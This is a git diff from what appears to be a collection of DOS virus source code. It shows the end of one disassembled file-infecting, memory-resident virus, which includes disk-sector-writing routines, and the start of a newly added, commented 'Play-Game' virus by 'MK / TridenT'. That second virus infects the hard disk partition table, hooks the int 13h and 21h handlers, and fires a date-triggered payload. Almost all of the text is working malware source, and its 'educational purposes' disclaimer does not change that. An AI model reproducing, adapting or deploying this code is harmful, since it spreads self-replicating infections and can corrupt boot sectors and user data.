loc_ret_18 ; Jump if carry Set + mov si,18h + mov cx,data_65[si] ; (6C23:0511=0A7h) + mov data_60,cl ; (6C23:02A6=91h) + mov si,13h + mov ax,data_65[si] ; (6C23:0511=0A7h) + xor dx,dx ; Zero register + div cx ; ax,dx rem=dx:ax/reg + mov si,1Ah + mov cx,data_65[si] ; (6C23:0511=0A7h) + xor dx,dx ; Zero register + div cx ; ax,dx rem=dx:ax/reg + mov data_59,ax ; (6C23:02A4=9FAh) + mov dl,data_61 ; (6C23:02A7=0Ah) + mov dh,0 + mov cx,1 + cmp cx,0 + +loc_ret_18: + retn +sub_1 endp + + db 0B4h, 8, 88h, 16h, 0A7h, 2 + db 0CDh, 13h, 72h, 22h, 88h, 36h + db 0AAh, 2, 8Ah, 0C5h, 8Ah, 0E1h + db 80h, 0E1h, 3Fh, 88h, 0Eh, 0A6h + db 2, 0B1h, 6, 0D2h, 0ECh, 0A3h + db 0A4h, 2, 8Ah, 16h, 0A7h, 2 + db 0B6h, 0, 0B9h, 1, 0, 83h + db 0F9h, 0 + +loc_ret_19: + retn + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_2 proc near + mov bx,98h +loc_20: + mov al,data_60 ; (6C23:02A6=91h) + mov ah,3 + int 13h ; Disk dl=drive #: ah=func a3h + ; write sectors from mem es:bx + jnc loc_21 ; Jump if carry=0 + and ah,0C3h + jnz loc_ret_22 ; Jump if not zero +loc_21: + inc ch + cmp ch,byte ptr data_59 ; (6C23:02A4=0FAh) + je loc_ret_22 ; Jump if equal + jmp short loc_20 ; (05A1) + +loc_ret_22: + retn +sub_2 endp + + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_3 proc near + mov bx,98h + mov data_62,0 ; (6C23:02A8=0B33h) +loc_23: + mov al,data_60 ; (6C23:02A6=91h) + mov ah,3 + int 13h ; Disk dl=drive #: ah=func a3h + ; write sectors from mem es:bx + inc dh + cmp dh,data_63 ; (6C23:02AA=33h) + ja loc_24 ; Jump if above + jmp short loc_23 ; (05C3) +loc_24: + inc data_62 ; (6C23:02A8=0B33h) + mov dh,0 + mov ax,data_62 ; (6C23:02A8=0B33h) + cmp ax,data_59 ; (6C23:02A4=9FAh) + ja loc_ret_25 ; Jump if above + or al,1 + add ch,al + jnc loc_23 ; Jump if carry=0 + add cl,40h ; '@' + jmp short loc_23 ; (05C3) + +loc_ret_25: + retn +sub_3 endp + + db 52h, 80h, 0FCh, 3, 75h, 12h + db 2Eh, 0C7h, 6, 0Eh, 0, 0 + db 0, 2Eh, 80h, 3Eh, 6Ah, 0 + db 1, 75h, 3, 0BAh, 0FFh, 0FFh + db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 + db 5Ah, 0CAh, 2, 0, 9Ch, 3Dh + db 40h, 4Bh, 75h, 5, 0B8h, 78h + db 56h, 9Dh, 0CFh, 3Dh, 41h, 4Bh + db 74h, 1Eh, 3Dh, 0, 4Bh, 75h + db 3, 0EBh, 34h, 90h +loc_26: + cmp ax,3D00h + jne loc_27 ; Jump if not equal + cmp byte ptr cs:data_50e,1 ; (6C23:0068=0) + je loc_27 ; Jump if equal + jmp short loc_29 ; (065C) + db 90h +loc_27: + popf ; Pop flags + jmp dword ptr cs:data_41e ; (6C23:0038=0) +loc_28: + pop ax + pop ax + mov ax,100h + mov cs:data_29e,ax ; (6C23:0014=0) + pop ax + mov cs:data_30e,ax ; (6C23:0016=0) + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + popf ; Pop flags + call sub_5 ; (09C8) + mov cx,ds:data_38e ; (6C23:0032=0) + jmp dword ptr cs:data_29e ; (6C23:0014=0) +loc_29: + mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0) + mov word ptr cs:data_47e,0 ; (6C23:0062=0) + mov cs:data_31e,dx ; (6C23:0024=0) + mov cs:data_32e,ds ; (6C23:0026=0) + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + cld ; Clear direction + mov si,dx +loc_30: + mov al,[si] + or al,al ; Zero ? + jz loc_32 ; Jump if zero + cmp al,61h ; 'a' + jb loc_31 ; Jump if below + cmp al,7Ah ; 'z' + ja loc_31 ; Jump if above + sub byte ptr [si],20h ; ' ' +loc_31: + inc si + jmp short loc_30 ; (067F) +loc_32: + mov cs:data_49e,si ; (6C23:0066=0) + mov ax,si + push cs + pop es + mov cx,0Bh + sub si,cx + mov di,73h + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_33 ; Jump if not zero + jmp loc_59 ; (0997) +loc_33: + mov si,ax + mov cx,8 + sub si,cx + mov di,6Bh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_34 ; Jump if not zero + mov ax,41Dh + push ax + jmp loc_13 ; (04E2) +loc_34: + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jc loc_35 ; Jump if carry Set + mov cs:data_34e,cx ; (6C23:002A=0) +loc_35: + jc loc_41 ; Jump if carry Set + xor al,al ; Zero register + mov cs:data_46e,al ; (6C23:0045=0) + mov si,cs:data_49e ; (6C23:0066=0) + mov cx,4 + sub si,cx + mov di,7Eh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_36 ; Jump if zero + inc byte ptr cs:data_46e ; (6C23:0045=0) + mov si,cs:data_49e ; (6C23:0066=0) + mov cx,4 + sub si,cx + mov di,82h + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_36 ; Jump if zero + add cx,0FFFFh + jmp short loc_41 ; (073F) + db 90h +loc_36: + mov di,dx + xor dl,dl ; Zero register + cmp byte ptr [di+1],3Ah ; ':' + jne loc_37 ; Jump if not equal + mov dl,[di] + and dl,1Fh +loc_37: + mov ah,36h ; '6' + int 21h ; DOS Services ah=function 36h + ; get free space, drive dl,1=a: + cmp ax,0FFFFh + jne loc_39 ; Jump if not equal +loc_38: + jmp loc_59 ; (0997) +loc_39: + mul bx ; dx:ax = reg * ax + mul cx ; dx:ax = reg * ax + or dx,dx ; Zero ? + jnz loc_40 ; Jump if not zero + cmp ax,0BC4h + jb loc_38 ; Jump if below +loc_40: + mov dx,cs:data_31e ; (6C23:0024=0) + mov ax,3D00h + mov byte ptr cs:data_50e,1 ; (6C23:0068=0) + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov byte ptr cs:data_50e,0 ; (6C23:0068=0) +loc_41: + jc loc_43 ; Jump if carry Set + mov cs:data_33e,ax ; (6C23:0028=0) + mov bx,ax + mov ax,4202h + mov cx,0FFFFh + mov dx,0FFFBh + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_43 ; Jump if carry Set + add ax,5 + mov cs:data_38e,ax ; (6C23:0032=0) + mov ax,4200h + mov cx,0 + mov dx,12h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_43 ; Jump if carry Set + mov cx,2 + mov dx,60h + mov di,dx + mov ax,cs + mov ds,ax + mov es,ax + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov ax,[di] + cmp ax,1989h + jne loc_42 ; Jump if not equal + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jmp loc_59 ; (0997) +loc_42: + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_42e,bx ; (6C23:003C=0) + mov ds:data_43e,es ; (6C23:003E=0) + mov dx,2ABh + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + lds dx,dword ptr ds:data_31e ; (6C23:0024=0) Load 32 bit ptr + xor cx,cx ; Zero register + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_43: + jc loc_44 ; Jump if carry Set + mov bx,cs:data_33e ; (6C23:0028=0) + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0) + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_44 ; Jump if carry Set + mov cs:data_33e,ax ; (6C23:0028=0) + mov ax,cs + mov ds,ax + mov es,ax + mov bx,ds:data_33e ; (6C23:0028=0) + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ds:data_35e,dx ; (6C23:002C=0) + mov ds:data_36e,cx ; (6C23:002E=0) + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +loc_44: + jc loc_47 ; Jump if carry Set + cmp byte ptr ds:data_46e,0 ; (6C23:0045=0) + je loc_45 ; Jump if equal + jmp short loc_49 ; (0867) + db 90h +loc_45: + mov bx,1000h + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + jnc loc_46 ; Jump if carry=0 + mov ah,3Eh ; '>' + mov bx,ds:data_33e ; (6C23:0028=0) + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + jmp loc_59 ; (0997) +loc_46: + inc word ptr ds:data_47e ; (6C23:0062=0) + mov es,ax + xor si,si ; Zero register + mov di,si + inc word ptr ds:data_23e ; (6C23:0003=0) + mov ax,ds:data_23e ; (6C23:0003=0) + or al,1 + mov ds:data_24e,al ; (6C23:0005=0) + call sub_4 ; (09A5) + mov cx,0BC4h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_4 ; (09A5) + mov dx,di + mov cx,ds:data_38e ; (6C23:0032=0) + mov bx,ds:data_33e ; (6C23:0028=0) + push es + pop ds + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +loc_47: + jc loc_48 ; Jump if carry Set + add di,cx + jc loc_48 ; Jump if carry Set + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov cx,di + xor dx,dx ; Zero register + mov ah,ds:data_19e ; (3E00:006A=0FFh) + mov ds:data_22e,ah ; (3E00:02A6=0FFh) + mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh) + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,ds:data_22e ; (3E00:02A6=0FFh) + mov ds:data_19e,ah ; (3E00:006A=0FFh) +loc_48: + jc loc_50 ; Jump if carry Set + jmp loc_57 ; (0952) +loc_49: + mov cx,1Ch + mov dx,46h + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +loc_50: + jc loc_52 ; Jump if carry Set + cmp word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh) + je loc_52 ; Jump if equal + mov word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh) + mov ax,ds:data_14e ; (3E00:0054=0FFFFh) + mov ds:data_6e,ax ; (3E00:001A=0FFFFh) + mov ax,ds:data_15e ; (3E00:0056=0FFFFh) + mov ds:data_5e,ax ; (3E00:0018=0FFFFh) + mov ax,ds:data_17e ; (3E00:005A=0FFFFh) + mov ds:data_7e,ax ; (3E00:001C=0FFFFh) + mov ax,ds:data_18e ; (3E00:005C=0FFFFh) + mov ds:data_8e,ax ; (3E00:001E=0FFFFh) + mov ax,ds:data_12e ; (3E00:004A=0FFFFh) + cmp word ptr ds:data_11e,0 ; (3E00:0048=0FFFFh) + je loc_51 ; Jump if equal + dec ax +loc_51: + mul word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax = data * ax + add ax,ds:data_11e ; (3E00:0048=0FFFFh) + adc dx,0 + add ax,0Fh + adc dx,0 + and ax,0FFF0h + mov ds:data_9e,ax ; (3E00:0020=0FFFFh) + mov ds:data_10e,dx ; (3E00:0022=0FFFFh) + add ax,0BC4h + adc dx,0 +loc_52: + jc loc_54 ; Jump if carry Set + div word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax,dxrem=dx:ax/da + or dx,dx ; Zero ? + jz loc_53 ; Jump if zero + inc ax +loc_53: + mov ds:data_12e,ax ; (3E00:004A=0FFFFh) + mov ds:data_11e,dx ; (3E00:0048=0FFFFh) + mov ax,ds:data_9e ; (3E00:0020=0FFFFh) + mov dx,ds:data_10e ; (3E00:0022=0FFFFh) + div word ptr ds:data_20e ; (3E00:0086=0FFFFh) ax,dxrem=dx:ax/da + sub ax,ds:data_13e ; (3E00:004E=0FFFFh) + mov ds:data_18e,ax ; (3E00:005C=0FFFFh) + mov word ptr ds:data_17e,900h ; (3E00:005A=0FFFFh) + mov ds:data_14e,ax ; (3E00:0054=0FFFFh) + mov word ptr ds:data_15e,0BC4h ; (3E00:0056=0FFFFh) + xor cx,cx ; Zero register + mov dx,cx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +loc_54: + jc loc_55 ; Jump if carry Set + mov cx,1Ch + mov dx,46h + mov ah,ds:data_19e ; (3E00:006A=0FFh) + mov ds:data_22e,ah ; (3E00:02A6=0FFh) + mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh) + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,ds:data_22e ; (3E00:02A6=0FFh) + mov ds:data_19e,ah ; (3E00:006A=0FFh) +loc_55: + jc loc_56 ; Jump if carry Set + cmp ax,cx + jne loc_57 ; Jump if not equal + mov dx,ds:data_9e ; (3E00:0020=0FFFFh) + mov cx,ds:data_10e ; (3E00:0022=0FFFFh) + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset +loc_56: + jc loc_57 ; Jump if carry Set + inc word ptr ds:data_3e ; (3E00:0003=0FFFFh) + mov ax,ds:data_3e ; (3E00:0003=0FFFFh) + or al,1 + mov ds:data_4e,al ; (3E00:0005=0FFh) + call sub_4 ; (09A5) + xor dx,dx ; Zero register + mov cx,0BC4h + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + call sub_4 ; (09A5) +loc_57: + cmp word ptr cs:data_47e,0 ; (6C23:0062=0) + je loc_58 ; Jump if equal + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg +loc_58: + cmp word ptr cs:data_33e,0FFFFh ; (6C23:0028=0) + je loc_59 ; Jump if equal + mov bx,cs:data_33e ; (6C23:0028=0) + mov dx,cs:data_35e ; (6C23:002C=0) + mov cx,cs:data_36e ; (6C23:002E=0) + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + lds dx,dword ptr cs:data_31e ; (6C23:0024=0) Load 32 bit ptr + mov cx,cs:data_34e ; (6C23:002A=0) + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + lds dx,dword ptr cs:data_42e ; (6C23:003C=0) Load 32 bit ptr + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +loc_59: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + jmp dword ptr cs:data_41e ; (6C23:0038=0) + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_4 proc near + push ds + push es + push di + push si + push cx + push ax + push cs + pop es + push cs + pop ds + mov si,6Bh + mov di,si + mov cx,0B6h + mov ah,ds:data_24e ; (6C23:0005=0) + +locloop_60: + lodsb ; String [si] to al + xor al,ah + stosb ; Store al to es:[di] + loop locloop_60 ; Loop if cx > 0 + + pop ax + pop cx + pop si + pop di + pop es + pop ds + retn +sub_4 endp + + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_5 proc near + xor ax,ax ; Zero register + mov bx,ax + mov dx,ax + mov si,ax + mov di,ax + retn +sub_5 endp + +loc_61: + cld ; Clear direction + mov ax,4B40h + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + cmp ax,5678h + jne loc_62 ; Jump if not equal + mov ax,4B41h + mov di,100h + mov si,0BC4h + add si,di + mov cx,cs:[di+32h] + nop ;*Fixup for MASM (M) + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx +loc_62: + mov ax,cs + add ax,10h + mov ss,ax + mov sp,0BB4h + push ax + mov ax,900h + push ax + retf ; Return far + db 0FCh, 6, 2Eh, 8Ch, 6, 40h + db 0, 2Eh, 8Ch, 6, 8Eh, 0 + db 2Eh, 8Ch, 6, 92h, 0, 2Eh + db 8Ch, 6, 96h, 0, 8Ch, 0C0h + db 5, 10h, 0, 2Eh, 1, 6 + db 1Eh, 0, 2Eh, 1, 6, 1Ah + db 0, 0B8h, 40h, 4Bh, 0CDh, 21h + db 3Dh, 78h, 56h, 75h, 13h, 7 + db 2Eh, 8Eh, 16h, 1Ah, 0, 2Eh + db 8Bh, 26h, 18h, 0, 0E8h, 8Bh + db 0FFh, 2Eh, 0FFh, 2Eh, 1Ch, 0 + db 0E8h, 60h, 0FFh, 0B4h, 0, 0CDh + db 1Ah, 8Bh, 0DAh +loc_63: + int 1Ah ; Real time clock ah=func 00h + ; get system timer count cx,dx + cmp bx,dx + je loc_63 ; Jump if equal + xor si,si ; Zero register + mov bx,dx +loc_64: + int 1Ah ; Real time clock ah=func 00h + ; get system timer count cx,dx + inc si + cmp bx,dx + je loc_64 ; Jump if equal + mov word ptr cs:data_48e,0A000h ; (6C23:0064=0) + mov bx,si + sub bx,50h + cmp bx,0A00h + jae loc_65 ; Jump if above or = + mov cl,4 + shl bx,cl ; Shift w/zeros fill + mov cs:data_48e,bx ; (6C23:0064=0) +loc_65: + xor ax,ax ; Zero register + mov es,ax + mov ax,es:data_1e ; (0000:03FC=0F000h) + mov cs:data_44e,ax ; (6C23:0042=0) + mov al,es:data_2e ; (0000:03FE=16h) + mov cs:data_45e,al ; (6C23:0044=0) + mov word ptr es:data_1e,0A5F3h ; (0000:03FC=0F000h) + mov byte ptr es:data_2e,0CBh ; (0000:03FE=16h) + pop ax + add ax,10h + mov es,ax + push cs + pop ds + mov cx,0BC4h + shr cx,1 ; Shift w/zeros fill + xor si,si ; Zero register + mov di,si + push es + mov ax,9B3h + push ax +;* jmp far ptr loc_1 ;*(0000:03FC) + db 0EAh, 0FCh, 3, 0, 0 + db 8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0B4h + db 0Bh, 33h, 0C0h, 8Eh, 0D8h, 2Eh + db 0A1h, 42h, 0, 0A3h, 0FCh, 3 + db 2Eh, 0A0h, 44h, 0, 0A2h, 0FEh + db 3, 8Bh, 0DCh, 0B1h, 4, 0D3h + db 0EBh, 83h, 0C3h, 20h, 0B4h, 4Ah + db 2Eh, 8Eh, 6, 40h, 0, 0CDh + db 21h, 0B8h, 21h, 35h, 0CDh, 21h + db 2Eh, 89h, 1Eh, 38h, 0, 2Eh + db 8Ch, 6, 3Ah, 0, 0Eh, 1Fh + db 0BAh, 11h, 5, 0B8h, 21h, 25h + db 0CDh, 21h, 8Eh, 6, 40h, 0 + db 26h, 8Eh, 6, 2Ch, 0, 33h + db 0FFh, 0B9h, 0FFh, 7Fh, 32h, 0C0h + +locloop_66: + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp es:[di],al + loopnz locloop_66 ; Loop if zf=0, cx>0 + + mov dx,di + add dx,3 + mov ax,4B00h + push es + pop ds + push cs + pop es + mov bx,8Ah + push ds + push es + push ax + push bx + push cx + push dx + push cs + pop ds + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + sub cx,7BCh + mov ax,cx + mov bx,dx + mov cx,168h + mul cx ; dx:ax = reg * ax + xchg ax,bx + add bl,al + adc bh,0 + mov al,ah + mov cl,1Eh + mul cl ; ax = reg * al + add ax,bx + sub ax,ds:data_37e ; (6C23:0030=0) + ja loc_67 ; Jump if above + jmp loc_70 ; (0BD0) +loc_67: + add ds:data_37e,ax ; (6C23:0030=0) + cmp ax,7 + ja loc_68 ; Jump if above + jmp short loc_70 ; (0BD0) + db 90h +loc_68: + mov ax,3508h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_39e,bx ; (6C23:0034=0) + mov word ptr ds:data_39e+2,es ; (6C23:0036=0) + push cs + pop ds + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dh=sec + mov cl,dh + and cl,1 + cmp cl,0 + mov dx,2AEh + mov byte ptr ds:data_51e,0 ; (6C23:0069=0) + jnz loc_69 ; Jump if not zero + mov dx,2D2h + mov byte ptr ds:data_51e,1 ; (6C23:0069=0) +loc_69: + mov word ptr ds:data_23e,1 ; (6C23:0003=0) + mov data_54,0 ; (6C23:0122=0) + mov data_53,1 ; (6C23:0121=2) + mov byte ptr ds:data_50e,0 ; (6C23:0068=0) + mov byte ptr ds:data_52e,0 ; (6C23:006A=0) + mov ax,2508h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3509h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_25e,bx ; (6C23:0006=0) + mov word ptr ds:data_25e+2,es ; (6C23:0008=0) + mov dx,35Dh + mov ax,2509h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3513h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_27e,bx ; (6C23:000A=0) + mov word ptr ds:data_27e+2,es ; (6C23:000C=0) + mov dx,4EFh + mov ax,2513h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +loc_70: + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + pushf ; Push flags + call dword ptr cs:data_41e ; (6C23:0038=0) + push ds + pop es + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ah,4Dh ; 'M' + int 21h ; DOS Services ah=function 4Dh + ; get return code info in ax + mov ah,31h ; '1' + mov dx,0BC4h + mov cl,4 + shr dx,cl ; Shift w/zeros fill + add dx,10h + int 21h ; DOS Services ah=function 31h + ; terminate & stay resident + db 154 dup (0) + db 6Ch, 15h, 2, 2Ah, 8Ah, 0 + db 0BCh, 7, 1, 1, 0C4h, 0Bh + db 6Ch, 15h, 73h, 12h, 0F4h, 2 + db 4, 7Fh, 0CCh, 0, 0C4h, 0Bh + db 1Dh, 0, 0, 0, 6Fh, 12h + db 0AFh, 0Eh, 0F4h, 0Ah, 73h, 12h + db 6, 0F2h, 82h, 0F0h, 0EBh, 6Fh + db 66h, 2, 0EBh, 6Fh, 57h, 9 + db 0, 70h, 5Ah, 0, 0, 0C0h + db 7Ch, 90h + db 20 dup (90h) + db 0CDh, 21h + +seg_a ends + + + + end start + \ No newline at end of file diff --git a/p/PLAYGAM.ASM b/p/PLAYGAM.ASM new file mode 100755 index 0000000..dc52f1a --- /dev/null +++ b/p/PLAYGAM.ASM @@ -0,0 +1,1266 @@ +;------------------------------------------------------------------------------ +; Play-Game VIRUS version 1 +; +; Use TASM 2.01 to compile this source +; (other assemblers will probably not produce the same result) +; +; Disclaimer: +; This file is only for educational purposes. The author takes no +; responsibility for anything anyone does with this file. Do not +; modify this file! +;------------------------------------------------------------------------------ + + + .model tiny + .RADIX 16 + .code + + +VERSION equ 1 +FILELEN equ offset last - first ;Length of virus. +VIRSEC equ (FILELEN+1FF)/200 ;Number of sectors for virus +VIRKB equ (FILELEN+3FF+100)/400 ;Length in kB. +SECLEN equ 200 ;length of a sector. +STACKLEN equ 200 ;Wanted length of stack in + ;infected file. +STACKOFF equ ((FILELEN+SECLEN+STACKLEN+11)/2)*2 ;Stack offset in + ;infected file. +DATAPAR equ (SECLEN+STACKLEN+20)/10 ;Minimal extra memory to + ;allocate for infected file + ;(area to load part. table + ;and room for stack). +BUFLEN equ 1C ;Length of buffer. +BOOTLEN equ boot_end - boot_begin ;Length of boot-routine. + + +;------------------------------------------------------------------------------ +; Data area for virus. +;------------------------------------------------------------------------------ + + org 00F0 + +hook db ? ;Flag for hooking int21 +minibuf db (4) dup (?) ;Mini buffer for internal use. + + +;------------------------------------------------------------------------------ +; Data area for game. +;------------------------------------------------------------------------------ + +bombs db ? ;Number of bombs. +pos db ? ;Position. +oldpos db ? ;Previous position. +level db ? +kleur db ? +timer db ? +tijd dw ? + + +;------------------------------------------------------------------------------ +; Begin of virus, installation in partition table of harddisk +;------------------------------------------------------------------------------ + + org 0100 + +first: db '[ MK / TridenT ]' ;Author + Group. + + call next +next: pop si ;Get IP. + sub si,13 ;Calculate relative offset. + mov di,0100 + cld + + call push_all ;Save some registers. + + push cs ;Make DS and ES equal to CS. + push cs + pop ds + pop es + + mov ah,30 ;Check if DOS version >= 4.0 + int 21 + cmp al,4 + jb not_install + + cmp ax,0DEADh ;Check if another TridenT + je not_install ;(multi-partite) virus is + ;resident. + + mov ax,0FE02 ;Check if Tequila virus + int 21 ;is resident. + cmp ax,01FDh + je not_install + + mov ax,33E4 ;Check if virus is already + int 21 ;resident. + cmp ah,0A5 + je not_install + + call infect_part + +not_install: mov ah,2A ;Ask date. + int 21 + cmp dh,12d ;december? + jb dont_play + mov ah,2C ;Ask time. + int 21 + cmp ch,21d ;time > 21:00 ? + jb dont_play + + mov ax,33E5 ;Play the game! + int 21 + +dont_play: call pop_all ;Restore registers. + + add si,offset buffer-100 + cmp byte ptr cs:[si],'M' ;Check if generation 0. + je entryE + + int 20 ;It was a COM file (gen. 0). + +entryE: mov bx,ds ;Calculate CS. + add bx,low 10 + mov cx,bx + add bx,cs:[si+0E] + cli ;Restore SS and SP. + mov ss,bx + mov sp,cs:[si+10] + sti + add cx,cs:[si+16] + push cx ;Push new CS on stack. + push cs:[si+14] ;Push new IP on stack. + retf + + +;------------------------------------------------------------------------------ +; Infect partition table sector +;------------------------------------------------------------------------------ + +infect_part: lea bx,[si+last-100] ;Read partition table + mov ax,0201 ;at end of virus. + mov cx,1 + mov dx,80 + int 13 + jc not_infect_par + + cmp word ptr [bx],'KM' ;Check if already infected. + je not_infect_par + + cmp word ptr [bx],05EA ;Check if infected with + je not_infect_par ;Stoned or Michelangelo. + + lea di,[bx+01BE] ;Check partition info. + mov bl,4 +check_part: cmp byte ptr [di+4],0 ;Skip if not a valid partition. + je next_part + cmp word ptr [di+0A],0 ;Enough room for virus? + jne next_part + cmp word ptr [di+8],VIRSEC+2 + jb not_infect_par ;Quit if not enough room. +next_part: add di,10 + dec bl + jnz check_part + + lea bx,[si+last-100] ;Save original partition table + mov ax,0301 ;to sector 2. + mov cx,2 + int 13 + jc not_infect_par + + lea bx,[si+first-100] ;Write the virus to sector 3. + mov ax,0300+VIRSEC + mov cx,3 + int 13 + jc not_infect_par + + lea di,[si+last-100] ;Infect part table. + lea si,[si+boot_begin-100] + mov bx,di + mov cx,BOOTLEN + rep movsb + + mov ax,0301 ;Write infected partition table + mov cx,1 ;to sector 1. + int 13 + +not_infect_par: ret + + +;------------------------------------------------------------------------------ +; Partition table routine +;------------------------------------------------------------------------------ + +boot_begin: db 'MK' ;Signature (= DEC BP, DEC BX). + + cld ;Initialise segments + stack. + cli + xor ax,ax + mov ds,ax + mov ss,ax + mov sp,7C00 + sti + + mov di,0400 ;Adjust memory size. + mov ax,ds:[di+13] + sub ax,VIRKB + mov ds:[di+13],ax + + mov cl,6 ;Calculate segment for + shl ax,cl ;resident virus. + mov es,ax + + mov cx,BOOTLEN ;Copy virus to top. + mov si,sp ;SP=7C00 + xor di,di + rep movsb + + mov bx,offset here-offset boot_begin ;Jump to top. + push es + push bx + retf + +here: mov ax,0200+VIRSEC ;Load complete virus. + mov cx,3 + mov dx,0080 + mov bx,0100 + int 13 + jc load_part + + cli + mov ax,offset ni13 ;Set new vector 13. + xchg ds:[4*13],ax + mov cs:[oi13],ax ;Save old vector 13. + mov ax,es + xchg ds:[4*13+2],ax + mov cs:[oi13+2],ax + + les bx,ds:[4*21] ;Get original vector 21. + mov cs:[oi21],bx + mov cs:[oi21+2],es + sti + + mov byte ptr cs:[hook],1 ;Turn on hook-flag. + +load_part: mov di,5 + push ds + pop es +part_loop: mov ax,0201 ;Load original part. sector. + mov cx,2 + mov dx,0080 + mov bx,sp + int 13 + jnc jump_part + + xor ax,ax ;Reset Drive + int 13 + dec di + jnz part_loop ;Try again. + int 18 ;Error: activate ROM BASIC. + +jump_part: push ds ;Push next address. + push bx + retf +boot_end: + + +;------------------------------------------------------------------------------ +; Int 13 handler +;------------------------------------------------------------------------------ + +ni13: cmp byte ptr cs:[hook],0 ;Is int 21 already hooked? + je do_int13 + + push ds + push es + push bx + push ax + cli + + xor ax,ax + mov ds,ax + + les bx,ds:[4*21] ;Compare int 21 vector + mov ax,es ;with saved old vector. + + cmp ax,800 + ja dont_hook + cmp bx,cs:[oi21] + jne hook_21 + cmp ax,cs:[oi21+2] + je dont_hook + +hook_21: mov cs:[oi21],bx ;Save old vector 21. + mov cs:[oi21+2],ax + + mov ds:[4*21],offset ni21 ;Set new vector 21. + mov ds:[4*21+2],cs + + mov byte ptr cs:[hook],0 ;Don't hook int 21 anymore. + +dont_hook: sti + pop ax + pop bx + pop es + pop ds + + +do_int13: cmp cx,1 ;Check if part. table + jne orgint13 ;is read or written. + cmp dx,80 + jne orgint13 + cmp ah,2 + jb orgint13 + cmp ah,3 + ja orgint13 + or al,al + jz orgint13 + + push cx + dec al + jz nothing_left + push ax ;Do original function + push bx + add bx,0200 + inc cx + pushf + call dword ptr cs:[oi13] + pop bx + pop ax + 